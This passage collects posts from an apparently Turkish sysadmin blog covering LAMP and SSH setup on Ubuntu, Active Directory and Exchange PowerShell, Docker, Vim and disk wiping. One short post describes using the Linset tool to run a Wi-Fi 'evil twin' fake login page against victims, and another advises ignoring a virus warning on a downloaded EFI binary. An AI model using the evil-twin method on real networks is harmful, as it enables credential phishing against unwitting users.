test edilmiştir. --- ## Ubuntu LAMP Server Kurulumu Link: https://farukguler.com/posts/ubuntu-lamp/ LAMP Server kurulumunu (7) başlık altında topladım Apache Web Server kurulumu: PHP kurulumu: MySQL Server Kurulumu: phpMyAdmin Kurulumu: Güvenlik Duvarı Yapılandırılmaları Virtual-Sanal Hostların Ayarlanması Let’s Encrypt İle SSL Sertifikası Kurulumu (sonra farklı bir yazıda anlatılacak) Öncelikle Ubuntu depolarımızı güncelleyelim: lsb_release -a #ubuntu version check sudo apt update sudo apt-get upgrade #upgrade etmek istenirse Apache Web Server kurulumu: Öncelikle Apache kurulumu yapacağız. Bu işlem sayesinde Web server hizmetini başlatmış olacağız. kurulumda gelen tüm sorulara 'yes' diyerek devam edelim. sudo apt install apache2 apache2 -v #Apache versiyon check PHP kurulumu: Apache Web servisi kurumundan sonra sonra PHP son versiyonunun kurulumunu yapacağız. sudo apt install php libapache2-mod-php php-mysql -y #PHP 'nin Apache altında çalışabilmesi ve MySQL ile iletişim kurabilmesi için bazı yardımcı paketleri kurar: sudo apt install php #sade bir şekilde PHP kur sudo nano /etc/apache2/mods-enabled/dir.conf #öncelik olarak PHP dosyalarını tanıtmak sudo systemctl restart apache2 #apache sevisini restart et sudo systemctl status apache2 #apache sevisini kontrol et apt search php- | less #PHP 'nin işlevselliğini artırmak için bazı ek modüller gerekir, bunları gör (istek üzerine kurabilirsiniz. sudo apt install php-cli #Örneğin php-cli modülünün ihtiyacınız olan bir şey olduğuna karar verdiyseniz şu komutmuz bu Eğer son sürüm değil de eski sürümler ile çalışmak istiyorsanız PHP sürümünü belirtmeniz gerekir. (Örnek : sudo apt install php5) Kurulum sonu yüklenen PHP versiyonunu kontrol edelim. php --version #PHP version check MySQL Nedir? MySQL Server Kurulumu: MySQL, SQL(Structured Query Language) tabanlı, Oracle destekli bir açık kaynaklı ilişkisel veritabanı yönetim sistemidir. (RDBMS). MySQL, Linux, UNIX ve Windows dahil olmak üzere hemen hemen tüm platformlarda çalışır. MySQL, LAMP adı verilen açık kaynaklı bir kurumsal yığının önemli bir bileşenidir. LAMP, işletim sistemi olarak Linux, web sunucusu olarak Apache, ilişkisel veritabanı yönetim sistemi olarak MySQL ve nesne yönelimli komut dosyası dili olarak PHP kullanan bir web geliştirme platformudur. (Bazen PHP yerine Perl veya Python kullanılır.) MySQL Server kurulumu: Bu kurulumda dikkat edilecek bazı noktalar vardır. MySQL’de kullanılacak “root” parolasının girilmesi gibi. MySQL server kurulumu için gerekli komutlar: #sudo apt install php-mysql # Belirli bir sürüm için (Örnek:sudo apt install php5-mysql) sudo apt install mysql-server sudo mysql_secure_installation #Güvenlik komut dosyasını çalıştıralım(msysql DB için 3 farklı şifre düzeyi vardır) sudo mysql #şifre işleminden sonra MySQL konsoluna giriş yapın: SELECT user,authentication_string,plugin,host FROM mysql.user; #kullanıcıyı doğrula ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'Sifrem123'; #root kullanıcısını phpMyadmin üzerinen login olacak hale getir. FLUSH PRIVILEGES; # veritabanı dosyalarını auth_socket yeniden düzenle SELECT user,authentication_string,plugin,host FROM mysql.user; #kullanıcıyı tekrar doğrula mysql -V #mysql version check görüldüğü gibi root kullanıcısı mysql_native_password şifre ile giriş yapabilir hale geldi. MySQL kurulumu ve gerekli ayarları tamamlandı. kurulum sonu Apache Web servisini yeniden başlatmamız gerekecektir. sudo /etc/init.d/apache2 restart #Apache Web servisini restart et Apache için Ubuntu Güvenlik Duvarının Yapılandırması #Apache Güvenlik Duvarının Yapılandırması sudo ufw status sudo ufw app list sudo ufw allow apache sudo ufw allow in "Apache Full" sudo ufw allow https sudo ufw allow http Apache her açılışa dizinleri altında index.html adlı dosyayı arar. Ancak biz sunucumuzda ağırlıklı olarak PHP dosyaları kullanacaksak, Yani web sunucumuza öncelikle PHP dosyalarını yok ise HTML dosyalarını tercih etmesini söylememiz gerekir. bunu sıralamayı değiştirerek düzenleyebilirsiniz. sudo nano /etc/apache2/mods-enabled/dir.conf <IfModule mod_dir.c> DirectoryIndex index.php index.html index.cgi index.pl index.xhtml index.htm </IfModule> # vim: syntax=apache ts=4 sw=4 sts=4 sr noet Eğer elinizde hazır test PHP dosyaları var ise, bu dosyayı  /var/www/html/ dizin içerisine atıp tarayıcıdan http://localhost/dosyaadi.php adresinden kontrol edebilirsiniz. yada http://localhost yazarak sayfaya ulaşabilirsiniz. Bunun yerine bir deneme sayfası oluşturacağım ve tarayıcıdan testini gerçekleştireceğim. sudo nano /var/www/html/test_sayfasi.php LAMP (Apache, Mysql, Php) paketini tek komutla bile kurabileceğinizi biliyor muydunuz? (bunu en sona sakladık...) sudo apt-get install lamp-server^ phpMyAdmin Kurulumu: phpMyAdmin Nedir? phpMyAdmin, bir veri tabanı yönetim yazılımıdır. PHP programlama diliyle yazılan sistem, web tabanlı bir altyapıya sahiptir. Başlıca kullanım alanı MySQL veri tabanı yönetimi olan phpMyAdmin, 80 farklı programlama dilini destekler. Burada yapılacak SQL sorguları , tablo işlemleri , veri tabanı kaldırma/ekleme/düzenleme , kullanıcı yetki ve anahtarları yönetmek gibi temel işlevler için kullanılır. işlemlerini pratik ve hızlı bir şekilde yapabilme imkânı sunan PHP tabanlı yazılmış bir ücretsiz araçtır. sudo apt update && sudo apt install phpmyadmin -y Kurulum işlemi başladıktan sonra aşağıdaki gibi bir ekran ile karşılaşacaksınız. Apache servere uyumlu bir kurulum yaptığımız için Apache seçeneğini seçip gelen sorulara evet diyerek devam edelim. Şimdi de phpMyAdmin ve MySQL sunucusunun eşleşebilmesi için parola girilecektir. Dikkat edilmesi gereken nokta MySQL server kurulumu yaparken oluşturulan parolayı burada kullanacağız. Eğer Yanlış parola girilirse phpMyAdmin'i baştan kaldırıp kurmak zorunda kalabilirsiniz. onun bu kısım çok önemlidir. Test amaçlı olarak Sistemde Yüklü Program ve uygulamaların Listesini görelim. dpkg --get-selections dpkg-query -l Görüldüğü üzere phpmyadmin ve php7.4 kuruludur. Son olarak phpMyAdmin’ini localde çalışabilmesi için /var/www/html/ altına aşağıdaki komut ile linkleme işlemi yapacağız. sudo ln -sf /usr/share/phpmyadmin /var/www/html/phpmyadmin Servisleri restart ettikten sonra http://localhost/phpmyadmin adresine giderseniz aşağıdaki giriş ekranı ile karşılaşacaksınız. Saygılarımla. – Best regards. --- ## Ubuntu’da SSH Servisini Etkinleştirme Link: https://farukguler.com/posts/ubuntu-ssh-enabled/ SSH Nedir? SSH, İngilizce "Secure Shell" kelimelerinin kısaltması olan güvenli bir ağ protokolüdür. SSH, ağ trafiğini şifreleyerek ve kimlik doğrulaması yaparak ağ güvenliğini arttırır. Bu, bilgisayar kullanıcılarının uzak sunuculara ve diğer ağ kaynaklarına güvenli bir şekilde erişmesini sağlar. SSH, bilgisayar kullanıcılarının uzak sunuculara ve diğer ağ kaynaklarına güvenli bir şekilde erişmesine olanak tanır. Örneğin, bir sistem yöneticisi, bir sunucuya SSH kullanarak uzaktan erişim sağlayabilir ve sunucunun yapılandırmasını veya bakımını gerçekleştirebilir. SSH, aynı zamanda ağ kaynaklarına güvenli bir şekilde dosya transferi yapmak için de kullanılabilir. SSH, ağ trafiğini şifreleyerek ve kimlik doğrulaması yaparak ağ güvenliğini arttırır. Şifreleme işlemi, ağ trafiğinin saldırganlar tarafından ele geçirilmesini önleyerek, bilgilerin gizliliğini korur. Kimlik doğrulama işlemi ise, kullanıcının doğru bir şekilde kimliklendirilmesini sağlar ve izinsiz erişimlerin önlenmesine yardımcı olur. SSH, ayrıca farklı depolama biçimleriyle de kullanılabilir. Örneğin, SSH tünelleri, ağ trafiğinin güvenli bir şekilde yönlendirilmesine olanak tanır ve ağ kaynaklarına güvenli bir şekilde erişim sağlar. SSH, ayrıca X11 iletişim protokolü üzerinden grafiksel arabirimlerin uzaktan erişimini de sağlayabilir. Sonuç olarak, SSH, güvenli bir ağ protokolüdür ve bilgisayar kullanıcılarının uzak sunuculara ve diğer ağ kaynaklarına güvenli bir şekilde erişmesini sağlar. Şifreleme ve kimlik doğrulama gibi özellikleri sayesinde ağ güvenliğini artırır ve farklı depolama biçimleriyle de kullanılabilir. Öncelikle ağ araçlarını kuralım. - First, let's set up the network tools. sudo apt install net-tools SSH Servisini Etkinleştirmek için - To Enable SSH Service: sudo apt install openssh-server SSH Server kontrol etmek için - To check SSH Server: sudo systemctl status ssh #Active: active (running) şeklinde döndürecektir. SSH 'a izin vermek için - To allow SSH: sudo ufw enable sudo ufw allow ssh CMD & Powershell ile SSH Bağlantısı için - For SSH Connection with CMD & Powershell: ssh username@ip_addresi #ssh farukguler@10.4.45.93 Bu değişikliğin etkili olabilmesi için servisi yeniden başlatmak gerekir. sudo systemctl restart ssh Servis yeniden başladıktan sonra sorunsuz bir şekilde SSH bağlantısı kurabilirsiniz. eğer hala bağlantı kuramıyorsanız kuruluşunuzdaki(şirket-kurum vs) network yöneticisine başvurunuz. Saygılarımla - Best regads --- ## WifiSlax Fake Login- Linset (Evil Twin Attack) Link: https://farukguler.com/posts/wifislax-fake-login-linset/ wifislax işletim sistemindeki en çok işimize yarayan linset adlı araç hedef wifi üzerinde sahte SSID oluşturarak kurbanı içeri çekmek için kullanılır. bu yazıda ise modemdeki login sayfasını türkçe moda yönlendirme anlatılmıştır. öncelikle şu yolu izleyin: /Home/usr/bin/linset ardından linset 'i open with kWrite ile açıp editleyelim. sayfayı böyle yapın: ardından kaydederek çıkış yapın, modlu sayfanın önizlemesi: --- ## About The Vim Editor Link: https://farukguler.com/posts/about-the-vim-editor/ Vim stands for "Vi IMproved" and is an improved version of the original Vi text editor. Vi (Visual Editor) was a text editor first developed for BSD Unix by Bill Joy in 1976. It is the editor that comes by default on most Linux servers. Vim was started by Bram Moolenaar in 1991 and has become a popular text editor available on many platforms, being voted the top-rated text editor by Linux Journal readers in 2006. #Vim Usage: [example file: file.txt]#>>> Vim Editor Mods:- Command Mode (ESC)- Insert mode (i)- Command Line Mode (:)-->i [Select Insert mode]>ESC# :w [kaydet]# :wq [kaydet çık]# :q [çık]# :qa [çık, tüm açık dosyaları kapatarak]# :q! [kaydetmeden çık,]# :sh [Shell'e geçiş yap, exit ile geri dön]# :/guler.NET [arama yap, guler.NET]# :u [yapılan son değişikliği geri al]# :U [yapılan tüm değişikliği geri al]# :CTRL+R [ileri al]# :undolist [Geri alma dallarını göster, ileri-geri] # :undo 15 # :later:40# :%s/guler.NET/domain.local/g [Bul & Değiştir]### --- ## Apply and Block a GPO to specific user, group, or computers Link: https://farukguler.com/posts/apply-and-block-a-specific-gpo/ Belirli (Spesifik) bir GPO'nun belirli kullanıcılara, gruplara veya bilgisayarlara uygulanmasını engellemenin veya izin vermenin birçok yolu vardır . "Item-Level Targeting, Security Filtering, or WMI Filtering" gibi. There are many ways to prevent or allow a specific (Specific) GPO from being applied to specific users, groups or computers. Such as "Item-Level Targeting, Security Filtering, or WMI Filtering" Bir grubun üyelerine GPO uygulanmasını engelle: İlk olarak, Grup İlkesi Yönetim Konsolu'nu (GPMC) başlatın. Sol bölmeden değiştirmek istediğiniz GPO'yu bulun ve tıklayın. Ardından, ayrıntılar bölmesinden Delegation sekmesine tıklayın. Advanced'e tıklayın. Grup veya kullanıcı adları listesi altında Ekle'ye tıklayın. Ardından, dileğiniz Kullanıcı, Bilgisayar veya Grupları listeleyin. (Object Typs) Şimdi üyelerinin GPO'yu uygulamasını engellemek istediğiniz Grubun adını yazın ve Tamam'a tıklayın. (örnek: Sales) Etki alanında bulunan grupların listesine göz atmak için Gelişmiş'i de tıklayabilirsiniz. Ardından, Grup veya kullanıcı adları listesinden Grubu seçin ve hem > Read/Oku için "Allow/İzin Ver" kutucuğunu seçin. Apply group policy/GPO Uygula grup ilkesi için "Deny/Reddet" sütunundaki kutuyu seçin. Son olarak, Tamam > tıklayın. Not 1: Başlangıçta atanan Read yetkisi için Allow iznini kaldırMAMALIsınız. Çünkü eğer Allow iznini kaldırırsanız veya doğrudan Read için DENY tanımlarsanız, ilgili kullanıcı veya kullanıcılar GPO nesnesini okuma yapamayacakları için kendi üzerlerinde tanımlanan filtrelemeyi hiç görmeyeceklerdir. Sadece ilgili kullanıcı veya kullanıcı grubu için "Apply Group Policy" izni karşısındaki "DENY" seçeneğini işaretlemeniz ise gpo'nun hiç uygulanmayıp reddedileceği anlamına gelir. Bu adımlarda , belirttiğiniz kullanıcı veya kullanıcı grubu GPO'nun içeriğini okuyamayacak ancak üzerlerinde tanımlanan filtrelemeyi (allow/deny) uygulayabilecektir. Not 2: GPO'yu yalnızca sizin belirttiğiniz gruplarla kısıtlamak için kimliği doğrulanmış (authenticated users) tüm kullanıcılara ve bilgisayarlara verilen varsayılan izni kaldırmalısınız. Ama GPO, Kullanıcı ayarları içeriyorsa ve (authenticated users) grubu kaldırılırsa ve yalnızca kullanıcı hesaplarını içeren bir güvenlik grubu kullanılarak yeni güvenlik filtrelemesi eklenirse, GPO uygulanaMAYAyabilir. Saygılarımla. --- ## Docker nedir ? - What is a Docker? Link: https://farukguler.com/posts/what-is-docker/ Docker, uygulama ve yazılım geliştiricilerinin yazdıkları kodu bir "konteyner" adı verilen hafif ve taşınabilir bir ortamda paketlemelerine ve çalıştırmalarına izin veren açık kaynaklı bir platformdur. Docker, uygulama geliştirme, dağıtımı ve çalıştırılması için bir dizi araç sağlar. Docker'ın temel amacı, yazılım uygulamalarının herhangi bir ortamda tutarlı bir şekilde çalışmasını sağlamaktır. Bir yazılım uygulaması Docker kullanılarak bir konteyner içinde paketlendiğinde, konteyner tüm gereksinimleriyle birlikte taşınabilir hale gelir. Bu konteyner, geliştiricilerin yazdıkları kodun farklı bilgisayarlarda, sunucularda ve bulut ortamlarında çalıştırılabilmesini sağlar. Docker'ın başlıca avantajlarından biri, yazılım uygulamalarının taşınabilirliğini artırmasıdır. Docker konteynerleri, farklı işletim sistemleri veya donanım ortamlarında da çalışabilir. Bu nedenle, bir uygulamanın Docker konteynerinde paketlenmesi, uygulamanın başka bir yerde çalıştırılmasını kolaylaştırır. Docker, uygulamaların hızlı bir şekilde dağıtılmasını da sağlar. Docker Hub gibi birçok farklı kaynak, hazır kullanıma hazır konteynerler sağlar. Bu konteynerler, uygulama geliştiricilerinin uygulama kısımlarını hızlı bir şekilde oluşturmasını sağlar. Docker'ın diğer avantajlarından biri de, herhangi bir bağımlılık sorunlarının ortadan kaldırılmasıdır. Docker, tüm gereksinimleri konteyner içine dahil ederek, konteynerin farklı ortamlarda çalışması için herhangi bir dış bağımlılık gerektirmez. Sonuç olarak, Docker, uygulama geliştiricilerinin yazılım uygulamalarını paketlemelerini, dağıtmalarını ve çalıştırmalarını sağlayan açık kaynaklı bir platformdur. Bu platform, uygulama taşınabilirliğini artırır, hızlı bir şekilde dağıtım yapılmasına olanak sağlar ve bağımlılık sorunlarını ortadan kaldırır. Docker'ın ana sürümleri şunlardır: Docker Engine Community(CE): Docker'ın açık kaynaklı topluluk sürümüdür. Docker'ın en son özelliklerinin birçoğunu içerir ve ücretsizdir. Docker Engine Enterprise(EE): Docker'ın iş sınıfı sürümüdür. Ticari kullanım için lisanslanmıştır ve çeşitli ek özellikler, hizmetler ve desteği içerir. Docker Desktop: Docker'ın macOS ve Windows için masaüstü sürümüdür. Docker Engine Community ve ek masaüstü araçları ile birlikte gelir. Docker, kendi içinde birçok terim barındıran bir platformdur. Bazı temel terimler şunlardır: Container: Docker'ın temel yapı birimi. Bir container, uygulamanın çalıştırıldığı izole bir ortamdır. Containerlar, birçok avantaj sağlar, örneğin uygulama bağımlılıklarının tek bir yerde toplanması, uygulamanın taşınabilirliği, yüksek ölçeklenebilirlik ve daha hızlı dağıtım. Image: Docker container'ının oluşturulması için kullanılan temel yapı bloklarından biridir. Bir image, bir uygulama için gerekli olan tüm bileşenleri içerir, örneğin uygulama dosyaları, bağımlılıkları ve konfigürasyon dosyaları. Bir image, bir container oluşturmak için kullanılabilir. Dockerfile: Docker'ın imaj oluşturma sürecini otomatikleştirmek için kullanılan bir dosyadır. Dockerfile, bir imajın nasıl oluşturulacağını belirler ve tüm bağımlılıkların tanımlanmasını sağlar. Registry: Docker image'lerinin depolanmasını, yönetimini ve paylaşımını sağlayan bir sistemdir. Docker Hub, en popüler Docker registry kaynaklarından biridir. Volume: Bir container'da depolama alanı olarak kullanılan bir mekanizmadır. Volume, uygulama verilerini container'dan bağımsız olarak saklamak için kullanılabilir. Network: Docker container'ları arasındaki iletişimi sağlamak için kullanılan bir mekanizmadır. Docker network'ü, containerlar arasında güvenli bir şekilde veri paylaşımı sağlar. Compose: Birden fazla container'ı bir arada çalıştırmak için kullanılan bir araçtır. Docker Compose, birden fazla container'ın tek bir sistemde çalıştırılmasını sağlar. Swarm: Docker'ın varsayılan olarak sunulan container yönetim sistemidir. Docker Swarm, birden fazla container'ın birbirleriyle etkileşimini ve dağıtımını yönetir. Bu terimler, Docker platformunun temel yapısını oluşturur. Docker kullanıcıları, bu terimleri anlamak ve doğru şekilde kullanmak, uygulamalarını daha etkili bir şekilde yönetmelerine yardımcı olabilir. Docker Avantajları: Taşınabilirlik: Docker konteynerleri, uygulamaların farklı ortamlarda ve sistemlerde tutarlı bir şekilde çalışmasını sağlar. Konteynerlerin taşınabilirliği sayesinde, bir uygulama geliştirildikten sonra farklı ortamlarda kolayca çalıştırılabilir. Hızlı dağıtım: Docker, uygulama geliştiricilerinin uygulama dağıtımını hızlandırır. Konteynerler, hazır kullanıma hazır olarak dağıtılabilir ve uygulama geliştiricileri, uygulamalarının bir kısmını hızlı bir şekilde oluşturabilirler. Etkili kaynak kullanımı: Docker, kaynakların daha etkili kullanımını sağlar. Konteynerler, sanal makinelerden daha hafiftir ve aynı anda birçok konteyner çalıştırılabilir. Güvenlik: Docker, uygulamaların güvenli bir şekilde çalışmasını sağlar. Konteynerler, birbirinden izole edilir ve bir konteynerin diğerine müdahale etmesi önlenir. Kolay yönetim: Docker, uygulama geliştiricilerinin uygulamalarını ve bileşenlerini bir arada tutmalarına olanak tanır. Bu, uygulama geliştiricilerinin uygulamalarını daha kolay yönetmelerini ve bakımlarını yapmalarını sağlar. Çeviklik: Docker, uygulama geliştiricilerinin uygulamalarını hızlı bir şekilde geliştirmelerine olanak tanır. Konteynerler, uygulamanın farklı bölümlerinin ayrı ayrı geliştirilmesine izin verir ve uygulamanın hızlı bir şekilde test edilmesini sağlar. Yeniden kullanılabilirlik: Docker, uygulama geliştiricilerinin uygulama bileşenlerini yeniden kullanmalarına olanak tanır. Bu, uygulama geliştiricilerinin daha hızlı ve verimli bir şekilde uygulama geliştirmelerine yardımcı olur. Destek: Docker, geniş bir topluluk tarafından desteklenmektedir ve birçok kaynak, öğretici ve yardım dokümantasyonu mevcuttur. Bu, uygulama geliştiricilerinin sorunları çözmelerine ve daha iyi bir Docker deneyimi yaşamalarına yardımcı olur. Tüm bu avantajlar, Docker'ı uygulama geliştiricileri için popüler bir platform haline getirmiştir. Docker vs (VM) Virtual Machine: Docker ve sanal makineler (VM) arasında bazı temel farklılıklar vardır. İşte bazıları: Mimari: Docker konteynerleri, ana bilgisayarın işletim sistemi çekirdeğini kullanırken, sanal makineler tam bir işletim sistemi üzerinde çalışır. Performans: Docker konteynerleri, sanal makinelerden daha hızlı çalışır. Çünkü konteynerler, ana bilgisayarın kaynaklarını daha etkili kullanır ve sanal makinelerden daha hafiftir. Taşınabilirlik: Docker konteynerleri, farklı ortamlarda kolayca taşınabilirken, sanal makineler, farklı ortamlara taşınırken uyumluluk sorunları yaşayabilir. Kaynak kullanımı: Docker konteynerleri, daha az kaynak kullanır. Çünkü aynı anda birçok konteyner çalıştırılabilirken, sanal makineler daha fazla kaynak gerektirir. Güvenlik: Sanal makineler, daha yüksek bir güvenlik seviyesine sahip olabilir, çünkü her sanal makine, kendi işletim sistemi ve diğer bileşenleri ile birlikte tamamen izole edilmiştir. Docker konteynerleri de güvenlidir ancak izolasyon seviyesi daha düşüktür. Yönetim: Docker konteynerleri, daha kolay yönetilir. Konteynerler, aynı anda birden fazla uygulama veya bileşen çalıştırmak için kullanılabilirken, sanal makineler, yalnızca tek bir işletim sistemi ve uygulama çalıştırmak için kullanılabilir. Her iki teknolojinin de kendine özgü avantajları vardır ve hangisinin kullanılacağı, kullanım senaryosuna ve gereksinimlere bağlı olarak değişir. Genel olarak, Docker uygulama geliştirme ve dağıtımı için daha hızlı ve daha verimli bir seçenek olabilirken, sanal makineler daha yüksek bir güvenlik seviyesi veya tamamen izole edilmiş bir ortam gerektiren durumlarda daha iyi bir seçenek olabilir. Herkese kolaylıklar dilerim. – I wish everyone good luck. --- ## Powershell PasswordNeverExpire to detect users Link: https://farukguler.com/posts/powershell-password-never-expire/ PS: Password Never Expire kullanıcıları tespit et - Identify Password Never Expire users get-ADUser -Filter {useraccountcontrol -band 66048} -Properties useraccountcontrol get-aduser -Filter {passwordNeverExpires -eq "true"} |Select-Object name kullanıcıdan Password Never Expire kaldır - Remove Password Never Expire from user get-aduser "username"| set-aduser -PasswordNeverExpires $false Kullanıcılardan Password Never Expire kaldır - Remove Password Never Expire from all users get-aduser -Filter {passwordNeverExpires -eq "true"} |et-aduser -PasswordNeverExpires $false --- ## Exchange Server içerik odaklı mailler nasıl silinir Link: https://farukguler.com/posts/exchange-server-icerik-sil/ Örneğimizde sunucunuz üzerindeki tüm DB' lerderdeki tüm mailboxlar içinde body yani mail içerisinde “Bu teklifle ilgileniyorsan” ibaresi geçen tüm mailler reklam içerdiği gerekçesiyle acilen silinecektir. Bulma ve silme işlemini öncesinde işlemi yapacak olan Exchange yöneticisine Mailbox Search ve Mailbox Import Export yetkilerinin atanması gerekmektedir. In our example, in all mailboxes in all DBs on your server, all mails with the phrase "If you are interested in this offer" in the body will be deleted on the grounds that they contain advertisements. Before the discovery and deletion process, the Exchange administrator must be assigned Mailbox Search and Mailbox Import Export privileges. Komutu uygulamadan önce mutlaka yedeğinizi almış olun. Make sure you have a backup before applying the command. Bulma: Get-Mailbox -ResultSize unlimited | Search-Mailbox -SearchQuery ‘Body:”If you are interested in this offer”’ –EstimateResultOnly Silme: Get-Mailbox -ResultSize unlimited | Search-Mailbox -SearchQuery ‘Body:”If you are interested in this offer”’ –DeleteContent -Force Faydalı olması dileğiyle – Hope it’s useful --- ## Exchange Server Konuya göre mail silmek Link: https://farukguler.com/posts/exchange-delete-mail-by-subject/ Örneğimizde sunucunuz üzerindeki tüm DB'lerden tüm mailboxlar içinde konu kısmında “Hemen 100 dolar kazan” ibaresi geçen tüm mailler reklam içerdiği gerekçesiyle silinmek istenirse; Bulma ve silme işlemini öncesinde işlemi yapacak olan Exchange yöneticisine Mailbox Search ve Mailbox Import Export yetkilerinin atanması gerekmektedir. In our example, if you want to delete all mails from all DBs on your server, among all mailboxes, with the phrase "technology summit" in the subject part, on the grounds that they contain advertisements; Before the discovery and deletion process, the Exchange administrator must be assigned Mailbox Search and Mailbox Import Export privileges. Uygulamadan önce mutlaka yedeğinizi alınız.! Be sure to take a backup before applying.! Bulma: Get-Mailbox -Resultsize unlimited | Search-Mailbox -SearchQuery ‘subject:”Hemen 100 dolar kazan”‘ –EstimateResultOnly Silme: Get-Mailbox -Resultsize unlimited | Search-Mailbox -SearchQuery ‘subject:”Hemen 100 dolar kazan”‘ –DeleteContent -Force --- ## Active Directory operation failed on Exchange.guler.com. This error is not retriable. Link: https://farukguler.com/posts/active-directory-this-error-is-not-retriable/  Active Directory operation failed on Exc.guler.com This error is not retriable. Additional information: Access is denied.Active directory response: 00000005: SecErr: DSID-03152612, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0 ECP ekranında kullanıcı/grup özelliklerine girildiğinde  ” Grup Temsilcisi ” alanına kullanıcıyı eklemek yada silmek istediğinizde bu hatayı alabilirsiniz. When you enter the user/group properties on the ECP screen, you may get this error when you want to add or delete the user in the "Group Representative" field. Let's open Active Directory Users and Computers. Click Advanced Features from the View menu. Right on the OU where the user and group to be mailed to are located > Properties Let's go to Security > Advanced. Permissions > Add On the screen that opens, let's select the Exchange trusted subsystem in the Principal part. TYPE : Allow Let's mark Applies to :This object and all descendants objects. Let's tick Modify Permissions from the Permissions list. Let's save it by clicking Apply. Enjoy Active Directory Users and Computers açalım. View menüsünden Advanced Features tıklayalım. Yerine mail atılacak kullanıcı ve grubun olduğu OU üzerinde sağtık > Properties Security > Advanced kısmına gelelim. Permissions > Add Açılan ekranda Principal kısmına Exchange trusted subsystem seçelim. TYPE : Allow Applies to :This object and all descendants objects işaretleyelim. Permissions listesinden Modify Permissions işaretleyelim. Apply diyerek kaydedelim. --- ## What is Bootx64 Efi Shell Link: https://farukguler.com/posts/bootx64-efi-shell/ EFI (Extensible firmware interface) technology offers many innovations and opportunities. It is a new area where we can work between the BIOS and the Operating system. In this area, you can operate with EFI Shell commands. Especially for system administrators, EFI shell offers many possibilities. In the meantime, you may run the risk of corrupting the firmware as a result of incorrect use! Such as installing operating system without boot feature, writing scripts on EFI, installing or uninstalling software. Indir/Downlod: https://github.com/faruk-guler/EFi_Shell_bootx64 Let's ignore the virus warning? Let's create the efi/boot/ folder in the Bootable USB formatted as FAT32 and put the Boot64.efi file we downloaded into boot/. You can get a shell by booting the system via Bootable USB. #To select the relevant driver: :fs0 #or :fs1 :fs2 #List directories: :dir #List files: -ls #and other known commands can be used. Yararlı olması dileğiyle. – Hope it’s useful. --- ## How Can We Permanently Delete Windows Disk Data Link: https://farukguler.com/posts/windows-verileri-kalici-sil/ Sometimes we may not have enough information on how to permanently delete the data on your Windows Computer and disk. Therefore, as long as you follow the instructions below, you can permanently delete your data and prevent your private files from falling into the hands of malicious people. Permanently Eliminating Data - Permanently Eliminating DataYou should know that those files remain somewhere on the hard disk, even after an ordinary deletion, or even after a permanent deletion. Because the data on your computer that you gave to someone else, sold or changed by saying that you deleted it, can be captured by malicious people with very simple methods. Just Formatting Is Not Enough!If you want the data on the hard disk to be deleted completely and irreversibly, new data must be written to the area where the data is stored. For this, you should format your hard disk. Even if this process is one step safer, just formatting will not ensure that the data is completely deleted. Low Level Format” Solution When you follow the steps below at the command prompt, the cipher command starts the Cipher feature of Windows. The /w command after that allows random data to be overwritten on the unused data in the free part of the disk. Thanks to these commands, the files you delete will be permanently deleted. Also, the /w:C command at the end of the command specifies which disk the operation is valid for. So if you want to clean another disk instead of :C, you will write that drive path. Example: D, F, H etc. CMD & PS: cipher /w:C What are Permanent Data Erase Programs?Another secure data deletion method is to use secure data sim programs written on this subject. Below you can find a few examples of programs that offer solutions in this regard. EraserEraser program can use 13 different algorithms including Gutman, US DOD 5220-22.M, German VSITR to permanently delete files. You can choose any of them you want. HDD Wipe ToolThis program is a free permanent file eraser that completely destroys partitions and data pieces. After the process, the files cannot be retrieved again. Hardwipe permanently securely erases data on disks, making the data absolutely unrecoverable. East-Tec EraserAs an effective permanent file deletion program, it securely wipes data in batches. Internet history, photos, cookies, audio files, etc. destroys critical data beyond recovery. Hope it’s useful --- ## Windows 10 Sınama Modu Ne İşe Yarar ? Link: https://farukguler.com/posts/windows-10-sinama-modu/ Bu özellik aslında Microsoft tarafından onaylanmamış onların tabiriyle imzalanmamış projeleri açmak için kullanılır. Yani sınama modu'nu açıp Microsoft tarafından imzalı olmayan sürücü, uygulama vb. şeyleri açabilirsiniz. Sınama modunu açmadığınız takdirde Microsoft imzasız projeler açılmaz. CMD: 1: bcdedit.exe -set loadoptions ENABLE_INTEGRITY_CHECKS 2: bcdedit.exe -set TESTSIGNING OFF Eğer tekrar açmak isterseniz - If you want to reactivate 1:bcdedit.exe -set TESTSIGNING ON Bilgisayarınızı yeniden başlatığınızda sınama modu kapanmış olduğunu göreceksiniz. --- ## Commonly used PowerShell commands on Active Directory Link: https://farukguler.com/posts/important-powershell-commands/ PS: #Turn on/off protection against accidental deletionGet-ADObject -Filter * -SearchBase "OU=Testbilgisayarlar,DC=guler,DC=com" | ForEach-Object -Process {Set-ADObject -ProtectedFromAccidentalDeletion $false -Identity $_}#List ExtensionAttribute values in user accountsGet-ADUser -Filter {extensionAttribute1 -notlike "*"} -SearchBase "DC=Guler,DC=com" | select name,samaccountname | Export-Csv -path "C:\extensionAttributes.csv"Get-ADUser -Filter {extensionAttribute10 -notlike "*"} -SearchBase "DC=Guler,DC=com" | select name,samaccountname | Export-Csv -path "C:\extensionAttribute10.csv"#AD List all UsersGet-ADUser -Filter * -Properties Name,SamAccountName,LastLogonDate | Sort | Select Name,SamAccountName,LastLogonDate,Enabled | Export-Csv "C:\allusers.csv" #Find all users who have not logged inGet-ADUser -Filter {(lastlogontimestamp -notlike "*")} | Select SamAccountName,Name#Find user accounts that are enabled but have never opened an accountGet-ADUser -Filter {(lastlogontimestamp -notlike "*") -and (enabled -eq $true)} | Select SamAccountName,Name #Fetch accounts that have not logged in for 90 days$days = 90$createdtime = (Get-Date).Adddays(-($days))Get-ADUser -Filter {(lastlogontimestamp -notlike "*") -and (enabled -eq $true) -and (whencreated -lt $createdtime)} | Select SamAccountName,Name #Find accounts that have not logged in for 30 days$createdtime = (Get-Date).Adddays(-(30))Get-ADUser -Filter {(lastlogontimestamp -notlike "*") -and (enabled -eq $true) -and (whencreated -lt $createdtime)} | Select Name,DistinguishedName |Export-CSV "C:\30_NeverLoggedOnUsers.csv" -NoTypeInformation -Encoding UTF8 #Enable and list those who have not logged in for 90 daysGet-ADUser -Filter {Enabled -eq $TRUE} -Properties Name,SamAccountName,LastLogonDate,Enabled | Where {($_.LastLogonDate -lt (Get-Date).AddDays(-90)) -and ($_.LastLogonDate -ne $NULL)} | Sort | Select Name,SamAccountName,LastLogonDate,Enabled | Export-Csv "C:\enable-90gun-oturum-acmayanlar.csv" #Enable and list those who have never logged inGet-ADUser -Filter {Enabled -eq $TRUE} -Properties 